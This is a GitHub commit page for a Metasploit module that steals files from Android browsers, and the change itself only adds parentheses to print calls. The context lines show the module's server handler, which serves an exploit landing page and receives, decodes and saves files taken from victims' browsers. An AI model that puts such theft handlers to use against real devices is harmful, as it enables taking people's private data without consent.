Skip to content

Commit 9b240e1

Browse files
committed
Use parenthesis
1 parent ccd0712 commit 9b240e1

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/auxiliary/gather/android_browser_file_theft.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ def on_request_uri(cli, request)
5757
process_post(cli, request)
5858
send_response_html(cli, '')
5959
else
60-
print_status("Sending exploit landing page...")
60+
print_status('Sending exploit landing page...')
6161
send_response_html(cli, exploit_html)
6262
end
6363
end
@@ -66,7 +66,7 @@ def process_post(cli, request)
6666
data = JSON.parse(request.body)
6767
contents = hex2bin(data['data'])
6868
file = File.basename(data['url'])
69-
print_good "File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}"
69+
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
7070
loot_path = store_loot(
7171
file,
7272
'application/x-sqlite3',
@@ -75,7 +75,7 @@ def process_post(cli, request)
7575
File.basename(data['url']),
7676
"#{cli.peerhost.ljust(16)} Android browser file"
7777
)
78-
print_good "Saved to: #{loot_path}"
78+
print_good("Saved to: #{loot_path}")
7979
end
8080

8181

0 commit comments

Comments
 (0)